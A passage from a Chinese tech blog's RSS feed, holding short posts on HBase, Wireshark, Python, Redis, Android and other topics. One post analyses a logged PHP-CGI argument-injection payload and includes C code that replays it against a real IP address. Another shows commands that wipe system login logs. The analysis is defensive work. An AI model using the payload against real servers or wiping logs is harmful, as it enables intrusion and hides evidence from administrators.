-时间戳。所以表设计是这样的：&#xA;rowKey:MD5(用户A)+倒序时间戳#time:发帖时间，content:内容&#xA;（3）关系表&#xA;现在只有用户和推文功能，这明显不够，我们希望能够阅读其他人的推文，这就希望用户能够关注一些其他的用户。&#xA;具体我们需要存储哪些关系呢？&#xA;1用户A登陆，需要查看自己关注了谁，以及显示其关注的用户的推文，所以要存储用户A关注了谁？&#xA;2用户A登陆，想要查看自己的粉丝，所以需要存储谁关注了用户A？&#xA;3用户A登陆，访问用户B的推特，那么需要知道用户A有没有关注用户B？&#xA;一开始你可能会想这样设计表：&#xA;rowKey:用户A#1:用户B，2:用户C，3:用户D&#xA;rowKey:用户B#1:用户H，2:用户C&#xA;这样可以很轻松回答问题1和问题3.&#xA;但是问题2似乎很难回答，除非扫描整个表，以及每一行的所有列，否则找不出所有关注某个用户的人。&#xA;这个表设计还有一个大问题，就是当用户A关注用户B的时候，需要在用户A这一行加一列，但是我不知道现在加到哪一列了，即put数据的时候无法指定qualifier，你可能想到在每一行增加一列计数器来解决这个问题，即counter：x，但是不幸的是，HBase不支持事务操作，一旦多个客户端同时关注两个不同的用户，它们都需要取得计数器，然后插入新的一列，两个客户端很可能读到同一个计数器值，这样一个客户端的写入就会被另一个给覆盖，所以必须去掉计数器，可以用下面方式解决：&#xA;这样设计表：&#xA;rowKey:用户A#用户B:1，用户C:2，用户D:3&#xA;rowKey:用户B#用户H:1，用户C:2&#xA;到目前为止的设计还是没有高效的办法回答问题2.&#xA;上面两种设计都是“宽表”的形式，现在可以考虑使用“高表”的形式。&#xA;rowKey:用户A+分隔符+用户B#1:用户B昵称&#xA;即行键存储用户A关注用户B，我们将用户B的昵称放入qualifier可以节省再去用户表找用户B的昵称的时间，这是一种反规范化（de-nomalize）处理。&#xA;这样很容易就能想到这样一个设计：&#xA;rowKey:用户A+分隔符+关注+分隔符+用户B#1:用户B昵称&#xA;rowKey:用户A+分隔符+关注+分隔符+用户C#1:用户C昵称&#xA;rowKey:用户A+分隔符+被关注+分隔符+用户D#1:用户D昵称&#xA;rowKey:用户A+分隔符+被关注+分隔符+用户H#1:用户H昵称&#xA;这样很容易就可以回答上面三个问题，分别是用户A关注了谁？用户A关注了用户B？谁关注了用户A。不过要注意，当查找用户A的粉丝列表时，往往不想把用户A关注了谁这些集合也返回给客户端，这个时候可以通过为扫描设置起始和停止键来做到。&#xA;这里需要再次优化，即使用MD5对用户名进行处理，得到定长的散列值，这样做有几个好处：&#xA;1 可以抛弃掉分隔符,为扫描操作计算起始和停止键更加容易。&#xA;2 行键长度统一，可以帮助你很好地预测读写性能。&#xA;3 MD5有助于数据更加均匀地分布在region上。&#xA;所以关系表设计再次修改为这样：&#xA;rowKey:MD5(用户A)+关注+MD5(用户B)#1:用户B的昵称&#xA;rowKey:MD5(用户A)+关注+MD5(用户C)#1:用户C的昵称&#xA;rowKey:MD5(用户A)+被关注+MD5(用户D)#1:用户D的昵称&#xA;rowKey:MD5(用户A)+被关注+MD5(用户H)#1:用户H的昵称&#xA;但是这样还不是最优的，之前已经说过了，当查找用户A的粉丝列表时，往往不想把用户A关注了谁这些集合也返回给客户端，虽然可以通过为扫描设置起始和停止键来做到，但是在region server上面仍然要将这些不关心的数据从硬盘上读出来，才会经过扫描过滤。&#xA;所以考虑将被关注和关注两种类型分开，分别建立一个表，这下最终的表设计就这样了：&#xA;关注表：&#xA;rowKey:MD5(用户A)+MD5(用户B)#1:用户B的昵称&#xA;rowKey:MD5(用户A)+MD5(用户C)#1:用户C的昵称&#xA;被关注表：</description>
    </item>
    <item>
      <title>Wireshark多条件过滤设置</title>
      <link>https://bchobby.github.io/posts/fefc7f51f97a09bcf491bcb6546d83b4/</link>
      <pubDate>Thu, 26 Jun 2014 16:26:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fefc7f51f97a09bcf491bcb6546d83b4/</guid>
      <description>在平时使用Wireshark的过程中经常，需要按着一定条件过滤某些包，这样查看起来相对比较清晰。&#xA;比如最常用的过滤IP，我们可以写成ip.addr==210.32.1.123。&#xA;如果我们想过滤和这个IP相关的指定端口应该如何做呢？&#xA;此时应写为：&#xA;ip.addr==210.32.1.123||tcp.port==80&#xA;这样就可以过滤出来和这个IP相关的80端口的信息了。</description>
    </item>
    <item>
      <title>python之正则匹配文件内容</title>
      <link>https://bchobby.github.io/posts/0eaa0346a762aa05aa28d5ab3f82296a/</link>
      <pubDate>Mon, 23 Jun 2014 15:01:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0eaa0346a762aa05aa28d5ab3f82296a/</guid>
      <description> 目前大部分针对应用层的防护设备，尤其是WEB应用，主流的防护手段还是基于正则表达式进行匹配过滤。&#xA;最近发现自己使用的设备出现很多误报，期望通过匹配日志记录定位问题，手动匹配会是一个很繁琐的过程，所以考虑程序自动化实现。&#xA;问题定义：&#xA;1、文件A存储了一系列正则表达式，每行一条&#xA;2、文件B中存储了所有的日志，每行为一次访问记录，保护请求源IP、客户端浏览器信息、请求url等&#xA;要求：输出文件B中的url，该url与文件A中任意一条正则相匹配，并同时输出该正则表达式&#xA;以下是代码实现&#xA;import re import sys import urllib de=urllib.unquote url_file=sys.argv[1] regex_file=sys.argv[2] print url_file print regex_file p_ufile=open(url_file) p_rfile=open(regex_file) uline=p_ufile.readline().strip(&#39;\n&#39;) rline=p_rfile.readline().strip(&#39;\n&#39;) while(uline): url=uline.split(&#34; &#34;)[8] # print url url=de(url) while(rline): # print rline # print url if re.search(rline,url): print &#34;**********************************************&#34; print rline print &#34;##########regex#########&#34; print uline print &#34;**********************************************&#34; break rline=p_rfile.readline().strip(&#39;\n&#39;) # break # print uline # break p_rfile.close() p_rfile=open(regex_file) rline=p_rfile.readline().strip(&#39;\n&#39;) uline=p_ufile.readline().strip(&#39;\n&#39;) 如果正则表达式中使用&#39;（单引号）进行匹配，而在url中出现的确实%27，这种情况下是无法匹配成功的，为了解决这个问题，可以先将url进行解码：&#xA;de=urllib.unquote url=de(url) </description>
    </item>
    <item>
      <title>无域名HTTP请求攻击分析</title>
      <link>https://bchobby.github.io/posts/3a599dfd4914c4229d4647d5fc7f1576/</link>
      <pubDate>Mon, 16 Jun 2014 10:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a599dfd4914c4229d4647d5fc7f1576/</guid>
      <description>检测组内WEB服务器攻击日志时，在防护WAF上发现如下攻击记录：&#xA;http://-c//cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E&#xA;攻击来源为192.187.125.130&#xA;请求方法为POST&#xA;解码后为：&#xA;http://-c//cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=&#34;&#34;+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n&#xA;使用的WAF不能记录POST提交的内容，无法获悉攻击者提交的数据。&#xA;攻击手段分析 最开始很不理解这个HTTP请求是如何发送过来的，没有使用正确的域名，也没有在HTTP请求中指定服务器IP！经过讨论有同事认为是工具指定IP和端口利用socket自动发送的。&#xA;攻击复现 做如下尝试：&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;sys/socket.h&amp;gt;&#xA;#include &amp;lt;sys/types.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;netinet/in.h&amp;gt;&#xA;#include &amp;lt;arpa/inet.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;int main(){&#xA;int sockfd;&#xA;int len;&#xA;struct sockaddr_in address;&#xA;int result;&#xA;char *strings=&#34;GET/test.jsp?test=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6EHTTP/1.1\r\nHost: -test\r\nConnection: Close\r\n\r\n&#34;;&#xA;char ch;&#xA;sockfd = socket(AF_INET,SOCK_STREAM, 0);&#xA;address.sin_family = AF_INET;&#xA;address.sin_addr.s_addr =inet_addr(&#34;159.226.16.74&#34;);&#xA;address.sin_port = htons(80);&#xA;len = sizeof(address);&#xA;result = connect(sockfd, (struct sockaddr *)&amp;amp;address, len);&#xA;if(result == -1){&#xA;perror(&#34;oops: client1&#34;);</description>
    </item>
    <item>
      <title>python web-spider之图片保存</title>
      <link>https://bchobby.github.io/posts/e4d0da16dcc32ceb98a283600021da08/</link>
      <pubDate>Sun, 15 Jun 2014 17:43:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4d0da16dcc32ceb98a283600021da08/</guid>
      <description>为了更好的展示爬取的目标网站内容，下载目标网站所使用的图片是有必要的。&#xA;保持图片在目标网站中的相对路径和名称是比较合适的方案，这需要对图片URL进行split处理。&#xA;创建相对路径的代码如下：&#xA;def createPath(url): folders=url.split(&#39;/&#39;) i=3 path=folders[2] while i&amp;lt;len(folders)-1: path=os.path.join(path,folders[i]) i+=1&#x9;if not os.path.exists(path): os.makedirs(path) path=path+&#34;/&#34; return path 从图片URL中获取文件名称：&#xA;filename=imgurl.split(&#39;/&#39;)[-1] 以下代码可以获取页面中的所有jpg图片，并保存到当前目录下与目标网站相一致的相对路径中。&#xA;import re import urllib import os def getHtml(url): page = urllib.urlopen(url) html = page.read() return html def createPath(url): folders=url.split(&#39;/&#39;) i=3 path=folders[2] while i&amp;lt;len(folders)-1: path=os.path.join(path,folders[i]) i+=1&#x9;if not os.path.exists(path): os.makedirs(path) path=path+&#34;/&#34; return path def getImg(html): reg = r&#39;src=&#34;?\&#39;?(\S+\.jpg)&#34;?\&#39;?&#39; imgre = re.compile(reg) imglist = imgre.findall(html) x = 0 for imgurl in imglist: if not re.</description>
    </item>
    <item>
      <title>网卡速率适配</title>
      <link>https://bchobby.github.io/posts/914e4030f9987f245413928a9b67d28a/</link>
      <pubDate>Fri, 06 Jun 2014 09:25:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/914e4030f9987f245413928a9b67d28a/</guid>
      <description>交换机端口灯颜色 一般情况下，网卡速率是操作系统与交换机协商进行的。&#xA;有时候我们将PC机或其它服务器连接到交换机上，发现交换机对应端口的灯是橙黄色而不是熟悉的亮绿色，但并不影响PC的网络连接。&#xA;本着严谨的科学态度，我们需要了解为什么交换机的灯是橙黄色。&#xA;其实原因很简单，交换机端口支持的速率和PC机网卡支持的速率不适配，譬如交换机是千兆口，而网卡却是百兆自适应。&#xA;手动调整网卡速率 另外一些情况下，为了避免网络出口拥塞，我需要手动设置网卡速率，主动使交换机的端口灯变成橙黄色，例如：交换机的外网出口是千兆口，内网连接的网卡也都是自适配的千兆口，这是如果所有内网的机器网卡全部满负荷工作，那么外网出口就会出现拥塞了，为了避免这种情况，可以将内网机器网卡的速率调整为百兆速率。&#xA;windows平台 打开设备管理器，右键点击网卡适配器下的使用的网卡，打开属性面板，选择高级选项卡，在属性窗口中选择对应的选项，可能是Media Type，或是external PHY，或是速度和双工，或是网络速度和双工，这需要看具体的系统而定了，下图是win7中对应的选项：&#xA;修改为合适的值，点击确定即可。&#xA;linux系统 以ubuntu为例，用mii-tool设置网卡的速度参数，可以通过-F参数强行指定网卡的速度和双工，选项包括：100baseTx-FD，100baseTx-HD，10baseT-FD，或者10baseT-HD。注意，如果你网卡的强制速度/双工模式与路由器不匹配的话，可能会丢失网络连接：&#xA;[root@bigboy tmp]# mii-tool -F 100baseTx-FD eth0&#xA;另外，除了把这个命令放到/etc/rc.local文件中让它在每次启动结束前执行，或者创建你自己的启动脚本如果你需要它更早被执行，我们没有办法让它在重启后永久生效。&#xA;ethtool命令被指定在不久的将来替代mii-tool，目的是支持新的网卡。&#xA;用设备名称作为参数，命令可以提供其状态。这里我们可以看到设备eth0没有设置自动协商并设定为100 Mbps速度，全双工。在输出的顶端列出了其所支持的模式。&#xA;# ethtool eth0&#xA;Settings for eth0:&#xA;Supported ports: [ TP MII ]&#xA;Supported link modes: 10baseT/Half 10baseT/Full&#xA;100baseT/Half 100baseT/Full&#xA;Supports auto-negotiation: Yes&#xA;Advertised link modes: 10baseT/Half 10baseT/Full&#xA;100baseT/Half 100baseT/Full&#xA;Advertised auto-negotiation: No&#xA;Speed: 100Mb/s&#xA;Duplex: Full&#xA;Port: MII&#xA;PHYAD: 1&#xA;Transceiver: internal&#xA;Auto-negotiation: off&#xA;Supports Wake-on: g</description>
    </item>
    <item>
      <title>linux下的web服务器压力测试工具之ab</title>
      <link>https://bchobby.github.io/posts/1af4c8dac115c4ca04055f79eaee5aa9/</link>
      <pubDate>Thu, 05 Jun 2014 17:29:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1af4c8dac115c4ca04055f79eaee5aa9/</guid>
      <description>介绍 ab是apache附带的一款压力测试工具，它非常容易使用，ab可以直接在Web服务器本地发起测试请求。这至关重要，因为我们希望测试的服务器的处理时间，而不包含数据的网络传输时间以及用户PC本地的计算时间。&#xA;需要清楚的是，ab进行一切测试的本质都是基于HTTP，所以可以说它是对于Web服务器软件的黑盒性能测试，它获得的一切数据和计算结果，都可以通过HTTP来解释。&#xA;选项 -A auth-username:password 对服务器提供BASIC认证信任。 用户名和密码由一个:隔开，并以base64编码形式发送。 无论服务器是否需要(即, 是否发送了401认证需求代码)，此字符串都会被发送。 -c concurrency 一次产生的请求个数。默认是一次一个。 -C cookie-name=value 对请求附加一个Cookie:行。 其典型形式是name=value的一个参数对。 此参数可以重复。 -d 不显示&#34;percentage served within XX [ms] table&#34;的消息(为以前的版本提供支持)。 -e csv-file 产生一个以逗号分隔的(CSV)文件， 其中包含了处理每个相应百分比的请求所需要(从1%到100%)的相应百分比的(以微妙为单位)时间。 由于这种格式已经“二进制化”，所以比&#39;gnuplot&#39;格式更有用。 -g gnuplot-file 把所有测试结果写入一个&#39;gnuplot&#39;或者TSV (以Tab分隔的)文件。 此文件可以方便地导入到Gnuplot, IDL, Mathematica, Igor甚至Excel中。 其中的第一行为标题。 -h 显示使用方法。 -H custom-header 对请求附加额外的头信息。 此参数的典型形式是一个有效的头信息行，其中包含了以冒号分隔的字段和值的对 (如, &#34;Accept-Encoding: zip/zop;8bit&#34;). -i 执行HEAD请求，而不是GET。 -k 启用HTTP KeepAlive功能，即, 在一个HTTP会话中执行多个请求。 默认时，不启用KeepAlive功能. -n requests 在测试会话中所执行的请求个数。 默认时，仅执行一个请求，但通常其结果不具有代表意义。 -p POST-file 包含了需要POST的数据的文件. -P proxy-auth-username:password 对一个中转代理提供BASIC认证信任。 用户名和密码由一个:隔开，并以base64编码形式发送。 无论服务器是否需要(即, 是否发送了401认证需求代码)，此字符串都会被发送。 -q 如果处理的请求数大于150， ab每处理大约10%或者100个请求时，会在stderr输出一个进度计数。 此-q标记可以抑制这些信息。 -s 用于编译中(ab -h会显示相关信息)使用了SSL的受保护的https， 而不是http协议的时候。此功能是实验性的，也是很简陋的。最好不要用。 -S 不显示中值和标准背离值， 而且在均值和中值为标准背离值的1到2倍时，也不显示警告或出错信息。 默认时，会显示 最小值/均值/最大值等数值。(为以前的版本提供支持).</description>
    </item>
    <item>
      <title>H.265/HEVC Codec 编解码 (MP4 和 TS)</title>
      <link>https://bchobby.github.io/posts/56e3d5894945a1a7e0318d320198c158/</link>
      <pubDate>Thu, 29 May 2014 10:25:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56e3d5894945a1a7e0318d320198c158/</guid>
      <description>1. H.265/HEVC 播放器 1) VLC media player 2.1.3 (目前不支持H.265 TS播放)&#xA;2) ffmpeg中的ffplay (如：ffplay hevc.ts)&#xA;3) GPAC中的MP4Client (如：MP4Client hevc.ts, 或MP4Client hevc.mp4)&#xA;2. H.265/HEVC编码器 所有编码器都是基于x265来做的。其参考命令如下所示： ffmpeg.exe -i &#34;E:\video\yak.mp4&#34; -pix_fmt yuv420p -f yuv4mpegpipe - 2&amp;gt; nul | x265.exe -p medium --crf 26 --fps 30 -f 2283 -o &#34;E:\video\test\temp0.hvc&#34; --y4m - 常用的工具如下所示： 2.1 CINEMARTIN CINEC v.2.7.5 Gold CINEMARTIN CINEC v.2.7.5 Gold是一个商业软件，做4K H.265压缩时经常出现crash。且占用大量硬盘空间。对于H.265可产生hevc文件，可供MP4Box作为输入以生成.mp4文件，从而使用mp42ts生成.ts文件。 2.2 Internet Friendly Media Encoder Internet Friendly Media Encoder是一款ssf开源项目，其性能和功能很好。只是目前可用，代码还没有开放。且在执行过程中，还会显示其详细log信息，不占用硬盘空间，共关键的命令如下所示： Internet Friendly Media Encoder工作步骤： 1）[ ok ] Loaded ffmpeg.</description>
    </item>
    <item>
      <title>网络爬虫（蜘蛛）Scrapy,Python安装！</title>
      <link>https://bchobby.github.io/posts/949a7cb9be32ec78924022fd28189777/</link>
      <pubDate>Tue, 27 May 2014 09:07:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/949a7cb9be32ec78924022fd28189777/</guid>
      <description> Scrapy,Python安装，使用！&#xA;1、下载安装Python2.7.6，因为Scrapy还不支持3.x版本。Latest Python 2 Release - Python 2.7.6，安装时选择当前用户。&#xA;2、到http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/下载安装pywin32-219.win-amd64-py2.7.exe&#xA;3、将C:\python27\Scripts;C:\python27;添加到环境变量里。&#xA;4、http://slproweb.com/products/Win32OpenSSL.html 到这里下载Visual C++ 2008 Redistributables和Win32 OpenSSL v1.0.1g Light并安装。安装时选择当前用户。将OpenSSL的bin目录添加到环境变量（C:\OpenSSL-Win32）&#xA;5、到https://pypi.python.org/pypi/setuptools#windows-7-or-graphical-install下载ez_setup.py，用Python运行ez_setup.py（双击也行），会自动安装好工具、&#xA;6、到https://pypi.python.org/pypi/zope.interface/4.1.1#downloads 下载zope.interface-4.1.1-py2.7-win32.egg 安装，复制到Python/Scripts下，运行 easy_install zope.interface-4.1.1-py2.7-win32.egg。（如果后缀名不是egg,修改为egg）&#xA;7、到https://pypi.python.org/pypi/pyOpenSSL/0.13下载pyOpenSSL-0.13-py2.7-win32.egg 安装同6。&#xA;8、到https://pypi.python.org/pypi/lxml/3.3.5下载lxml-3.3.5.win32-py3.2.exe 安装&#xA;9、到 https://pypi.python.org/pypi/Twisted/14.0.0 下载Twisted-14.0.0.win32-py2.7.exe安装。（安装时选择当前用户）&#xA;10、到https://pypi.python.org/pypi/cryptography/0.4#downloads下载cryptography-0.4-cp27-none-win32.whl 安装同6&#xA;11、https://pypi.python.org/pypi/cffi/0.8.2下载cffi-0.8.2-cp27-none-win32.whl安装同六&#xA;12、到https://pypi.python.org/pypi/service_identity/0.2#downloads下载service_identity-0.2-py2.py3-none-any.whl 安装同6&#xA;13、命令行下运行easy_install scrapy将会自动下载并安装完成。&#xA;注：以上安装以win32为例，如果是win64则全部要下载64位的安装包。在win64安装WIn64OpenSSL时，还要把C:\OpenSSL-Win32\bin目录下的libeay32.dll和ssleay32.dll放到C:\windows\system32下，不然运行scrapy时出错。&#xA;问题汇总：&#xA;1、如果没安装10-12步骤，会出现pyOpenSSL警告和未安装service_identity错误，这两个都人先安装编译器，VC2008和VC2010都可以。如果不是VC2008则要建立一个环境变量：VS90COMNTOOLS，变量值和VS100COMNTOOLS一样就可以。&#xA;2、如果出现“Unable to find vcvarsall.bat”，则是没有安装VC2008出现的。&#xA;﻿﻿ </description>
    </item>
    <item>
      <title>Redis的三种启动方式</title>
      <link>https://bchobby.github.io/posts/f59e173c322e265296675f2f7a4b2d3f/</link>
      <pubDate>Mon, 26 May 2014 22:58:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f59e173c322e265296675f2f7a4b2d3f/</guid>
      <description>Part I. 直接启动 下载 官网下载&#xA;安装 tar zxvf redis-2.8.9.tar.gz cd redis-2.8.9 #直接make 编译 make #可使用root用户执行`make install`，将可执行文件拷贝到/usr/local/bin目录下。这样就可以直接敲名字运行程序了。 make install 启动 #加上`&amp;amp;`号使redis以后台程序方式运行 ./redis-server &amp;amp; 检测 #检测后台进程是否存在 ps -ef |grep redis #检测6379端口是否在监听 netstat -lntp | grep 6379 #使用`redis-cli`客户端检测连接是否正常 ./redis-cli 127.0.0.1:6379&amp;gt; keys * (empty list or set) 127.0.0.1:6379&amp;gt; set key &#34;hello world&#34; OK 127.0.0.1:6379&amp;gt; get key &#34;hello world&#34; 停止 #使用客户端 redis-cli shutdown #因为Redis可以妥善处理SIGTERM信号，所以直接kill -9也是可以的 kill -9 PID Part II. 通过指定配置文件启动 配置文件 可为redis服务启动指定配置文件，配置文件redis.conf在Redis根目录下。&#xA;#修改daemonize为yes，即默认以后台程序方式运行（还记得前面手动使用&amp;amp;号强制后台运行吗）。 daemonize no #可修改默认监听端口 port 6379 #修改生成默认日志文件位置 logfile &#34;</description>
    </item>
    <item>
      <title>免费下载道客巴巴文档的方法</title>
      <link>https://bchobby.github.io/posts/90f083f8903551776787321ce134d0a0/</link>
      <pubDate>Thu, 22 May 2014 19:46:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90f083f8903551776787321ce134d0a0/</guid>
      <description>是不是有些时候在道客巴巴看到自己想要的文档，想下载回来慢慢看却没有积分好难受呢？&#xA;工具/原料 道客巴巴下载器（海纳百川）&#xA;方法/步骤 1 下载软件:&#xA;http://pan.baidu.com/s/1zLmXx&#xA;把这个地址选中复制，粘贴在浏览器地址栏里。&#xA;（在我自己的百度云盘里也有该软件）&#xA;2 复制想要的文档的网页地址，比如:http://www.doc88.com/p-8099994821044.html。&#xA;粘贴在软件的地址栏里，点右边的下载。&#xA;调整页面显示方式为幻灯片模式&#xA;END 方法/步骤2 然后再点击下载，就可以看到文档顺利的下载下来了。&#xA;那么下载下来的文档是放在那里了呢？&#xA;点右上角的菜单&amp;gt;设置，复制目录地址。&#xA;3 点击电脑左下角的开始菜单-&amp;gt;运行。&#xA;把刚才的目录地址粘贴进去，确定回车就可以看到啦。</description>
    </item>
    <item>
      <title>android之ScrollView里嵌套ListView</title>
      <link>https://bchobby.github.io/posts/24e857da7547a5ab4e353013ceef132a/</link>
      <pubDate>Thu, 22 May 2014 15:19:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24e857da7547a5ab4e353013ceef132a/</guid>
      <description>android之ScrollView里嵌套ListView hi,大家好，研究完ScrollView嵌套ScrollView之后，本人突然又想研究ScrollView里嵌套ListView了。 如果还不知道ScrollView嵌套ScrollView是怎么实现的可以参考http://www.eoeandroid.com/thread-240709-1-1.html 在上篇文章当中其实我没有怎么把原理讲清楚，只是上了原代码，而其实ScrollView里套ScrollView和ScrollView里套ListView是同一个道理的。 按常理，ScrollView套ListView会存在两个问题： 1.里面的listView高度无法算出来，通常只能显示listview的其中一行 2.listview不能滚动 在解决问题一的时候，我在网上找了一大堆资料，怎么怎么让listview显示完整，终于被我找到一个帖子，能解决这个问题 http://blog.csdn.net/hitlion2008/article/details/6737459 （同时我不小心搜到了我的&#34;ScrollView嵌套ScrollView&#34;贴子满天飞...在这里我拜托大家，转贴注明出处啊亲。。。。。）。 按照这个贴子我试了一下，虽然listview的高度出来了，但是存在两个问题： a.还是只支持ScrollView滚动，listView不会滚动，因为listView的高度已经达到最大，它不需要滚动。 b.listview的优点就是能够复用listItem，如果把listView撑到最大，等于是没有复用listItem，这跟没用listView一样，省不了ui资源，那我还不如直接用linearlayout呢 要怎么才能支持外面的ScrollView和里面的ListView都能滚动呢？ 想过很多办法，最终我还是把ScrollView套ScrollView的实现原理搬过来试试看，结果成功了。。。。 其实实现原理很简单ScrollView有一个方法requestDisallowInterceptTouchEvent(boolean); 这个方法是设置是否交出ontouch权限的，如果让外层的scrollview.requestDisallowInterceptTouchEvent(false);那么外层的onTouch权限会失去，这样里面的listview就能 拿到ontouch权限了，listView也就能滚了。 问题是：权限只有一个，要支持两个view都能滚动。这个就有点难实现了吧.. 其实这个一点也不难，当手指触到listview的时候，让外面的scrollview交出权限，当手指松开后，外面的scrollview重新获得权限。这样ok了。 且看代码实现： 重写一个InnerListView extends ListView InnerListView.java @Override public boolean onInterceptTouchEvent(MotionEvent ev) { switch (ev.getAction()) { case MotionEvent.ACTION_DOWN: setParentScrollAble(false);//当手指触到listview的时候，让父ScrollView交出ontouch权限，也就是让父scrollview 停住不能滚动 LogManager.d(&#34;onInterceptTouchEvent down&#34;); case MotionEvent.ACTION_MOVE: LogManager.d(&#34;onInterceptTouchEvent move&#34;); break; case MotionEvent.ACTION_UP: LogManager.d(&#34;onInterceptTouchEvent up&#34;); case MotionEvent.ACTION_CANCEL: LogManager.d(&#34;onInterceptTouchEvent cancel&#34;); setParentScrollAble(true);//当手指松开时，让父ScrollView重新拿到onTouch权限 break; default: break; } return super.onInterceptTouchEvent(ev); } /** * 是否把滚动事件交给父scrollview * * @param flag */ private void setParentScrollAble(boolean flag) { parentScrollView.</description>
    </item>
    <item>
      <title>欧拉项目004:寻找最大的回文数</title>
      <link>https://bchobby.github.io/posts/ff630db8e0f7901510d039223633130c/</link>
      <pubDate>Wed, 21 May 2014 19:40:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff630db8e0f7901510d039223633130c/</guid>
      <description>Problem 4: Largest palindrome product&#xA;A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99.&#xA;Find the largest palindrome made from the product of two 3-digit numbers.&#xA;寻找有两个三位数相乘的最大回文数&#xA;我的python代码如下：&#xA;#method1: def reverse(s): return s[::-1] maxPalindromic = 0 for i in range(100,999): for j in range(i,999): s = str(i*j) if s == reverse(s): if int(s)&amp;gt;maxPalindromic: maxPalindromic = int(s) print maxPalindromic #method2: def reverse(s): return s[::-1] def canBeDivide(num): for i in range(100,1000): if num%i==0 and num/i&amp;lt;1000: return True return False def findMaxPalindromic(): for x in range(9,0,-1): for y in range(9,-1,-1): for z in range(9,-1,-1): num = 100001*x+10010*y+1100*z if canBeDivide(num): return num print findMaxPalindromic() 方法一，比较直观，容易理解； 方法二，效率高。</description>
    </item>
    <item>
      <title>dev/null</title>
      <link>https://bchobby.github.io/posts/0707c443029e4423ac26bbae5d9df546/</link>
      <pubDate>Wed, 21 May 2014 14:58:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0707c443029e4423ac26bbae5d9df546/</guid>
      <description> 把/dev/null看作&#34;黑洞&#34;. 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.&#xA;禁止标准输出.&#xA;cat $filename &amp;gt;/dev/null # 文件内容丢失，而不会输出到标准输出. 禁止标准错误&#xA;rm $badname 2&amp;gt;/dev/null # 这样错误信息[标准错误]就被丢到太平洋去了. 禁止标准输出和标准错误的输出.&#xA;cat $filename 2&amp;gt;/dev/null &amp;gt;/dev/null # 如果&#34;$filename&#34;不存在，将不会有任何错误信息提示.# 如果&#34;$filename&#34;存在, 文件的内容不会打印到标准输出.# 因此Therefore, 上面的代码根本不会输出任何信息.# 当只想测试命令的退出码而不想有任何输出时非常有用。#-----------测试命令的退出 begin ----------------------## ls dddd 2&amp;gt;/dev/null 8# echo $? //输出命令退出代码：0为命令正常执行，1-255为有出错。&#xA;#-----------测试命令的退出 end-----------# # cat $filename &amp;amp;&amp;gt;/dev/null&#xA;# 也可以, 由 Baris Cicek 指出.&#xA;清除日志文件内容&#xA;cat /dev/null &amp;gt; /var/log/messages # : &amp;gt; /var/log/messages 有同样的效果, 但不会产生新的进程.（因为:是内建的） cat /dev/null &amp;gt; /var/log/wtmp </description>
    </item>
    <item>
      <title>JDK8新增便利的Map默认值方法</title>
      <link>https://bchobby.github.io/posts/27f0d6f8c1e35281c551da4d6a011719/</link>
      <pubDate>Mon, 19 May 2014 10:25:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27f0d6f8c1e35281c551da4d6a011719/</guid>
